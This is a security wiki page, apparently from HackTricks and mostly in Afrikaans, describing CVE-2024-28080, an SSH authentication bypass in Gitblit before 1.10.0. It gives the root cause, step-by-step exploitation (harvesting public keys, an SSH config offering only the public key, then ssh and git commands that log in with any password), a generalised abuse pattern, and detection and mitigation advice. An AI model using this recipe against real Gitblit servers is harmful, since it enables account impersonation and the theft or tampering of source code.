Gitblit Embedded SSH Auth Bypass (CVE-2024-28080)

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Opsomming

CVE-2024-28080 is ’n authentication bypass in Gitblit’s embedded SSH service as gevolg van verkeerde hantering van sessie state tydens integrasie met Apache MINA SSHD. Indien ’n gebruikersrekening ten minste een SSH publieke sleutel geregistreer het, kan ’n aanvaller wat die gebruikersnaam en enige van daardie gebruiker se publieke sleutels ken, verifieer sonder die private sleutel en sonder die wagwoord.

  • Geaffekteer: Gitblit < 1.10.0 (waargenome op 1.9.3)
  • Reggestel: 1.10.0
  • Vereistes om te misbruik:
  • Git oor SSH geaktiveer op die instansie
  • Slagofferrekening het ten minste een SSH publieke sleutel in Gitblit geregistreer
  • Aanvaller ken die slagoffer se gebruikersnaam en een van hul publieke sleutels (dikwels ontdekbaar, bv. https://github.com/.keys)

Root cause (state leaks tussen SSH methods)

In RFC 4252 verloop public‑key authentication in twee fases: die bediener kontroleer eers of ’n voorsiene publieke sleutel aanvaarbaar is vir ’n gebruikersnaam, en slegs ná ’n challenge/response met ’n handtekening verifieer dit die gebruiker. In MINA SSHD word die PublickeyAuthenticator twee keer aangeroep: by sleutelacceptasie (nog geen handtekening) en later nadat die kliënt ’n handtekening terugstuur.

Gitblit’s PublickeyAuthenticator gemuteer die sessiekonteks in die eerste, pre‑signature oproep deur die geverifieerde UserModel aan die sessie te bind en true terug te gee (“key acceptable”). Wanneer authentication later terugval na wagwoord, vertrou die PasswordAuthenticator daardie gemuteerde sessiestaat en kortsluit, en gee true terug sonder om die wagwoord te valideer. Gevolglik is enige wagwoord (insluitend leeg) aanvaar ná ’n vorige public‑key “acceptance” vir dieselfde gebruiker.

Hoëvlak gebrekkige vloei:

  1. Client bied gebruikersnaam + public key aan (nog geen handtekening)
  2. Server herken die sleutel as van die gebruiker en heg voortydig die gebruiker aan die sessie, gee true terug (“acceptable”)
  3. Client kan nie teken nie (geen private sleutel), dus val auth terug na wagwoord
  4. Password auth sien ’n gebruiker reeds in die sessie en gee onvoorwaardelik sukses terug

Stap‑vir‑stap uitbuiting

  • Versamel ’n slagoffer se gebruikersnaam en een van hul publieke sleutels:
  • GitHub openbaar publieke sleutels by https://github.com/.keys
  • Openbare bedieners openbaar dikwels authorized_keys
  • Konfigureer OpenSSH om slegs die publieke helfte te bied sodat handtekeninggenerering misluk, wat ’n terugval na wagwoord afdwing terwyl die public‑key acceptance pad op die bediener steeds getrigger word.

Voorbeeld SSH client config (geen private sleutel beskikbaar):

# ~/.ssh/config
Host gitblit-target
HostName <host-or-ip>
User <victim-username>
PubkeyAuthentication yes
PreferredAuthentications publickey,password
IdentitiesOnly yes
IdentityFile ~/.ssh/victim.pub   # public half only (no private key present)

Verbind en druk Enter by die wagwoordprompt (of tik enige string):

ssh gitblit-target
# or Git over SSH
GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://<victim-username>@<host>/<repo.git>

Authentication slaag omdat die vroeëre public‑key fase die sessie na ’n authenticated user gemuteer het, en password auth daardie status verkeerdelik vertrou.

Note: If ControlMaster multiplexing is enabled in your SSH config, subsequent Git commands may reuse the authenticated connection, increasing impact.

Impact

  • Volledige impersonasie van enige Gitblit‑gebruiker met ten minste een geregistreerde SSH public key
  • Read/write access to repositories per victim’s permissions (source exfiltration, unauthorized pushes, supply‑chain risks)
  • Potensiële administratiewe impak as ’n admin user geteiken word
  • Pure network exploit; geen brute force of private key benodig

Detection ideas

  • Review SSH logs for sequences where a publickey attempt is followed by a successful password authentication with an empty or very short password
  • Look for flows: publickey method offering unsupported/mismatched key material followed by immediate password success for the same username

Mitigations

  • Upgrade to Gitblit v1.10.0+
  • Until upgraded:
  • Disable Git over SSH on Gitblit, or
  • Restrict network access to the SSH service, and
  • Monitor for suspicious patterns described above
  • Rotate affected user credentials if compromise is suspected

General: abusing SSH auth method state‑leakage (MINA/OpenSSH‑based services)

Pattern: If a server’s public‑key authenticator mutates user/session state during the pre‑signature “key acceptable” phase and other authenticators (e.g., password) trust that state, you can bypass authentication by:

  • Presenting a legitimate public key for the target user (no private key)
  • Forcing the client to fail signing so the server falls back to password
  • Supplying any password while the password authenticator short‑circuits on leaked state

Practical tips:

  • Public key harvesting at scale: pull public keys from common sources such as https://github.com/.keys, organizational directories, team pages, leaked authorized_keys
  • Forcing signature failure (client‑side): point IdentityFile to only the .pub, set IdentitiesOnly yes, keep PreferredAuthentications to include publickey then password
  • MINA SSHD integration pitfalls:
  • PublickeyAuthenticator.authenticate(…) must not attach user/session state until the post‑signature verification path confirms the signature
  • PasswordAuthenticator.authenticate(…) must not infer success from any state mutated during a prior, incomplete authentication method

Related protocol/design notes and literature:

  • SSH userauth protocol: RFC 4252 (publickey method is a two‑stage process)
  • Historical discussions on early acceptance oracles and auth races, e.g., CVE‑2016‑20012 disputes around OpenSSH behavior

References

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks